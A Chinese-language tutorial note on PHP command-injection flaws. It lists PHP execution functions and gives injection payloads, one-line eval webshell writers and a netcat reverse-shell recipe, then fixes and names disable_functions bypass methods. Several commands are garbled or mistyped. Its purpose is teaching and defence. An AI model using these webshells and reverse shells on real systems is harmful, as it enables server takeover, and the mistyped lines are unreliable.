原理

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数

system(args)有回显
passthru(args)(有回显)
exec(args,$arr)
(回显最后一行-必须echo输出,也可以传递数组显示出来)
shell_exec(args)(无回显-必须输出)
反引号``
popen(handle,mode)(无回显)
proc_open('cmd,'array','flag')(无回显)

system

有回显

一句话木马
127.0.0.1%26%26   &&   或者 || |
echo "<php @eval($_POST['cmd']);"> shell.php

如果双引号被过滤 windows转义符^  

passthru()

有回显

passthru($_GET['cmd']);

exec()

无回显

exec($_GET['cmd'],$arr);
var_dump($arr);

shell_exec()

无回显

echo shell_exec($_GET['cmd']);

无回显

echo `$_GET[1]`;xxxxxxxxxx 命令执行echo `$_GET[1]`;echo `(1)`

popen

无回显

打开是资源

和fread/fget联合使用

$a=popen($_GET['cmd'],'r');
while ($ab=fgets($a,1024))
{
  echo $ab;
}

proc_open

无回显

命令,数组,管道信息

cmd为子进程

从流中取数据

利用上述函数弹出shell

window

  1. cd nc目录
  2. nc 靶机ip port -e c:\windows\system32\cmd.exe
  3. 攻击机监听 port nmap -lvp port

漏洞危害

执行系统命令
读写文件echo ^<?php eval($P0ST[1]);?^> > 1.php
反弹she11
控制整个网站
甚至控制整个服务器

修复

能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,
并在disable functions中禁用。php.ini中
在进入命令执行的函数或方法之前,对参数进行过滤。使用这些函数
escapeshellcmd/escapeshellarg过滤
escapeshellarg一把字符串转码为可以在shell命令里使用的参数
escapeshellcmd shell元字符转义
参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
exec()函数中数据,避免用户可控。

如何绕过disable_function

LD_PRELOAD环境变量=>
ShellShock(CVE-2014-6271)
利用Windows系统组件COM绕过
利用FFI扩展执行命令

Comments

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注